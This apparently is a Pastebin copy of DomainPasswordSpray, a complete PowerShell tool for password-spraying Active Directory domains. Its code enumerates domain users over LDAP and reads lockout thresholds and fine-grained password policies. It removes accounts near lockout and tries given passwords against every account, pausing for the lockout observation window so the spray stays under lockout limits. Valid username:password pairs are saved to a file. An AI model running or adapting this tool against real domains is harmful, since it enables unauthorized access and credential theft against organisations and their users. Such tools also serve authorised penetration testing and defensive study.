Advertisement
Guest User

Untitled

a guest
Apr 30th, 2018
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.69 KB | None | 0 0
  1. function Invoke-DomainPasswordSpray{
  2. <#
  3. .SYNOPSIS
  4.  
  5. This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
  6.  
  7. DomainPasswordSpray Function: Invoke-DomainPasswordSpray
  8. Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
  9. License: BSD 3-Clause
  10. Required Dependencies: None
  11. Optional Dependencies: None
  12.  
  13. .DESCRIPTION
  14.  
  15. This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
  16.  
  17. .PARAMETER UserList
  18.  
  19. Optional UserList parameter. This will be generated automatically if not specified.
  20.  
  21. .PARAMETER Password
  22.  
  23. A single password that will be used to perform the password spray.
  24.  
  25. .PARAMETER PasswordList
  26.  
  27. A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
  28.  
  29. .PARAMETER OutFile
  30.  
  31. A file to output the results to.
  32.  
  33. .PARAMETER Domain
  34.  
  35. The domain to spray against.
  36.  
  37. .PARAMETER Force
  38.  
  39. Forces the spray to continue and doesn't prompt for confirmation.
  40.  
  41. .EXAMPLE
  42.  
  43. C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
  44.  
  45. Description
  46. -----------
  47. This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
  48.  
  49. .EXAMPLE
  50.  
  51. C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  52.  
  53. Description
  54. -----------
  55. This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
  56.  
  57.  
  58. #>
  59. Param(
  60.  
  61. [Parameter(Position = 0, Mandatory = $false)]
  62. [string]
  63. $UserList = "",
  64.  
  65. [Parameter(Position = 1, Mandatory = $false)]
  66. [string]
  67. $Password,
  68.  
  69. [Parameter(Position = 2, Mandatory = $false)]
  70. [string]
  71. $PasswordList,
  72.  
  73. [Parameter(Position = 3, Mandatory = $false)]
  74. [string]
  75. $OutFile,
  76.  
  77. [Parameter(Position = 4, Mandatory = $false)]
  78. [string]
  79. $Domain = "",
  80.  
  81. [Parameter(Position = 5, Mandatory = $false)]
  82. [switch]
  83. $Force
  84. )
  85.  
  86. if ($Domain -ne "")
  87. {
  88. Try
  89. {
  90. #Using domain specified with -Domain option
  91. $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
  92. $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  93. $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
  94. }
  95. catch
  96. {
  97. Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
  98. break
  99. }
  100. }
  101. else
  102. {
  103. Try
  104. {
  105. #Trying to use the current user's domain
  106. $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  107. $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
  108. }
  109. catch
  110. {
  111. Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
  112. break
  113. }
  114. }
  115.  
  116. if ($UserList -eq "")
  117. {
  118. $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts
  119. }
  120. else
  121. {
  122. #if a Userlist is specified use it and do not check for lockout thresholds
  123. Write-Host "[*] Using $UserList as userlist to spray with"
  124. Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
  125. $UserListArray = @()
  126. try
  127. {
  128. $UserListArray = Get-Content $UserList -ErrorAction stop
  129. }
  130. catch [Exception]{
  131. Write-Host -ForegroundColor "red" "$_.Exception"
  132. break
  133. }
  134.  
  135. }
  136.  
  137. # If a single password is selected do this
  138. if ($Password)
  139. {
  140. #if no force flag is set we will ask if the user is sure they want to spray
  141. if (!$Force)
  142. {
  143. $title = "Confirm Password Spray"
  144. $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
  145.  
  146. $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
  147. "Attempts to authenticate 1 time per user in the list."
  148.  
  149. $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
  150. "Cancels the password spray."
  151.  
  152. $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
  153.  
  154. $result = $host.ui.PromptForChoice($title, $message, $options, 0)
  155.  
  156. switch ($result)
  157. {
  158. 0
  159. {
  160. $time = Get-Date
  161. Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
  162. Write-Host "[*] This might take a while depending on the total number of users"
  163. $curr_user = 0
  164. $count = $UserListArray.count
  165.  
  166. ForEach($User in $UserListArray){
  167. $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
  168. If ($Domain_check.name -ne $null)
  169. {
  170. if ($OutFile -ne "")
  171. {
  172. Add-Content $OutFile $User`:$Password
  173. }
  174. Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
  175. }
  176. $curr_user+=1
  177. Write-Host -nonewline "$curr_user of $count users tested`r"
  178. }
  179. Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
  180. if ($OutFile -ne "")
  181. {
  182. Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
  183. }
  184.  
  185. }
  186. 1 {"Cancelling the password spray."}
  187. }
  188. }
  189. #If the force flag is set don't bother asking if we are sure we want to spray.
  190. if ($Force)
  191. {
  192. $time = Get-Date
  193. Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
  194. Write-Host "[*] This might take a while depending on the total number of users"
  195. $curr_user = 0
  196. $count = $UserListArray.count
  197.  
  198. ForEach($User in $UserListArray){
  199. $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
  200. If ($Domain_check.name -ne $null)
  201. {
  202. if ($OutFile -ne "")
  203. {
  204. Add-Content $OutFile $User`:$Password
  205. }
  206. Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
  207. }
  208. $curr_user+=1
  209. Write-Host -nonewline "$curr_user of $count users tested`r"
  210. }
  211. Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
  212. if ($OutFile -ne "")
  213. {
  214. Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
  215. }
  216. }
  217.  
  218.  
  219.  
  220. }
  221. # If a password list is selected do this
  222. ElseIf($PasswordList){
  223. $Passwords = Get-Content $PasswordList
  224. #Get account lockout observation window to avoid running more than 1 password spray per observation window.
  225. $net_accounts = "cmd.exe /C net accounts /domain"
  226. $net_accounts_results = Invoke-Expression -Command:$net_accounts
  227. $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
  228. $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
  229. $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
  230. [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
  231.  
  232. Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
  233. Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
  234. Write-Host "[*] Setting a $observation_window minute wait in between sprays."
  235.  
  236. #if no force flag is set we will ask if the user is sure they want to spray
  237. if (!$Force)
  238. {
  239. $title = "Confirm Password Spray"
  240. $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
  241.  
  242. $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
  243. "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
  244.  
  245. $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
  246. "Cancels the password spray."
  247.  
  248. $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
  249.  
  250. $result = $host.ui.PromptForChoice($title, $message, $options, 0)
  251.  
  252. switch ($result)
  253. {
  254. 0
  255. {
  256. Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
  257. Write-Host "[*] This might take a while depending on the total number of users"
  258.  
  259. ForEach($Password_Item in $Passwords){
  260. $time = Get-Date
  261. Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
  262. $curr_user = 0
  263. $count = $UserListArray.count
  264.  
  265. ForEach($User in $UserListArray){
  266. $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
  267. If ($Domain_check.name -ne $null)
  268. {
  269. if ($OutFile -ne "")
  270. {
  271. Add-Content $OutFile $User`:$Password_Item
  272. }
  273. Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
  274. }
  275. $curr_user+=1
  276. Write-Host -nonewline "$curr_user of $count users tested`r"
  277. }
  278. Countdown-Timer -Seconds (60*$observation_window)
  279. }
  280. Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
  281. if ($OutFile -ne "")
  282. {
  283. Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
  284. }
  285.  
  286. }
  287. 1 {"Cancelling the password spray."}
  288. }
  289. }
  290. #if the force flag is set we will not bother asking about proceeding with password spray.
  291. if($Force)
  292. {
  293. Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
  294. Write-Host "[*] This might take a while depending on the total number of users"
  295.  
  296. ForEach($Password_Item in $Passwords){
  297. $time = Get-Date
  298. Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
  299. $curr_user = 0
  300. $count = $UserListArray.count
  301.  
  302. ForEach($User in $UserListArray){
  303. $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
  304. If ($Domain_check.name -ne $null)
  305. {
  306. if ($OutFile -ne "")
  307. {
  308. Add-Content $OutFile $User`:$Password_Item
  309. }
  310. Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
  311. }
  312. $curr_user+=1
  313. Write-Host -nonewline "$curr_user of $count users tested`r"
  314. }
  315. Countdown-Timer -Seconds (60*$observation_window)
  316. }
  317. Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
  318. if ($OutFile -ne "")
  319. {
  320. Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
  321. }
  322.  
  323. }
  324. }
  325. Else{
  326. Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
  327. break
  328. }
  329. }
  330.  
  331. Function Countdown-Timer
  332. {
  333. Param(
  334. $Seconds = 1800,
  335. $Message = "[*] Pausing to avoid account lockout."
  336. )
  337. ForEach ($Count in (1..$Seconds))
  338. { Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
  339. Start-Sleep -Seconds 1
  340. }
  341. Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
  342. }
  343.  
  344. Function Get-DomainUserList{
  345.  
  346. <#
  347. .SYNOPSIS
  348.  
  349. This module gathers a userlist from the domain.
  350.  
  351. DomainPasswordSpray Function: Get-DomainUserList
  352. Author: Beau Bullock (@dafthack)
  353. License: BSD 3-Clause
  354. Required Dependencies: None
  355. Optional Dependencies: None
  356.  
  357. .DESCRIPTION
  358.  
  359. This module gathers a userlist from the domain.
  360.  
  361. .PARAMETER Domain
  362.  
  363. The domain to spray against.
  364.  
  365. .PARAMETER RemoveDisabled
  366.  
  367. Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
  368.  
  369. .PARAMETER RemovePotentialLockouts
  370.  
  371. Removes accounts within 1 attempt of locking out.
  372.  
  373. .EXAMPLE
  374.  
  375. C:\PS> Get-DomainUserList
  376.  
  377. Description
  378. -----------
  379. This command will gather a userlist from the domain including all samAccountType "805306368".
  380.  
  381. .EXAMPLE
  382.  
  383. C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
  384.  
  385. Description
  386. -----------
  387. This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
  388.  
  389. #>
  390. Param(
  391. [Parameter(Position = 0, Mandatory = $false)]
  392. [string]
  393. $Domain = "",
  394.  
  395. [Parameter(Position = 1, Mandatory = $false)]
  396. [switch]
  397. $RemoveDisabled,
  398.  
  399. [Parameter(Position = 2, Mandatory = $false)]
  400. [switch]
  401. $RemovePotentialLockouts
  402. )
  403.  
  404. if ($Domain -ne "")
  405. {
  406. Try
  407. {
  408. #Using domain specified with -Domain option
  409. $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
  410. $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  411. $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
  412. }
  413. catch
  414. {
  415. Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
  416. break
  417. }
  418. }
  419. else
  420. {
  421. Try
  422. {
  423. #Trying to use the current user's domain
  424. $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  425. $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
  426. }
  427. catch
  428. {
  429. Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
  430. break
  431. }
  432. }
  433.  
  434. #Setting the current domain's account lockout threshold
  435. $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
  436. $AccountLockoutThresholds = @()
  437. $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
  438.  
  439. #Getting the AD behavior version to determine if fine-grained password policies are possible
  440. $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
  441. if ($behaviorversion -ge 3)
  442. {
  443. #Determine if there are any fine-grained password policies
  444. Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
  445. $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
  446. $ADSearcher.SearchRoot = $objDeDomain
  447. $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
  448. $PSOs = $ADSearcher.FindAll()
  449.  
  450. if ( $PSOs.count -gt 0)
  451. {
  452. Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
  453. foreach($entry in $PSOs)
  454. {
  455. #Selecting the lockout threshold, min pwd length, and which groups the fine-grained password policy applies to
  456. $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
  457. $PSOPolicyName = $PSOFineGrainedPolicy.name
  458. $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
  459. $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
  460. $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
  461. #adding lockout threshold to array for use later to determine which is the lowest.
  462. $AccountLockoutThresholds += $PSOLockoutThreshold
  463.  
  464. Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
  465. }
  466. }
  467.  
  468. }
  469.  
  470. #Get account lockout observation window to avoid running more than 1 password spray per observation window.
  471. $net_accounts = "cmd.exe /C net accounts /domain"
  472. $net_accounts_results = Invoke-Expression -Command:$net_accounts
  473. $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
  474. $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
  475. $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
  476. [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
  477.  
  478. #Generate a userlist from the domain
  479. #Selecting the lowest account lockout threshold in the domain to avoid locking out any accounts.
  480. [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
  481. Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
  482.  
  483. if ($SmallestLockoutThreshold -eq "0")
  484. {
  485. Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
  486. }
  487. else
  488. {
  489. Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
  490. }
  491.  
  492. $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
  493. $DirEntry = New-Object System.DirectoryServices.DirectoryEntry
  494. $UserSearcher.SearchRoot = $DirEntry
  495.  
  496. $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
  497. $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
  498. $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
  499.  
  500. If ($RemoveDisabled){
  501. Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
  502. # more precise LDAP filter UAC check for users that are disabled (Joff Thyer)
  503. $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
  504. }
  505. else
  506. {
  507. $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user))"
  508. }
  509.  
  510. # grab batches of 1000 in results
  511. $UserSearcher.PageSize = 1000
  512. $AllUserObjects = $UserSearcher.FindAll()
  513. Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
  514. $UserListArray = @()
  515.  
  516. If ($RemovePotentialLockouts)
  517. {
  518. Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
  519. Foreach ($user in $AllUserObjects)
  520. {
  521. #Getting bad password counts and lst bad password time for each user
  522. $badcount = $user.Properties.badpwdcount
  523. $samaccountname = $user.Properties.samaccountname
  524. try
  525. {
  526. $badpasswordtime = $user.Properties.badpasswordtime[0]
  527. }
  528. catch
  529. {
  530. continue
  531. }
  532. $currenttime = Get-Date
  533. $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
  534. $timedifference = ($currenttime - $lastbadpwd).TotalMinutes
  535.  
  536. if ($badcount)
  537. {
  538.  
  539. [int]$userbadcount = [convert]::ToInt32($badcount, 10)
  540. $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
  541. #if there is more than 1 attempt left before a user locks out or if the time since the last failed login is greater than the domain observation window add user to spray list
  542. if (($timedifference -gt $observation_window) -Or ($attemptsuntillockout -gt 1))
  543. {
  544. $UserListArray += $samaccountname
  545. }
  546. }
  547. }
  548. }
  549. else
  550. {
  551. Foreach ($user in $AllUserObjects)
  552. {
  553. $samaccountname = $user.Properties.samaccountname
  554. $UserListArray += $samaccountname
  555. }
  556. }
  557.  
  558. Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
  559. return $UserListArray
  560. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement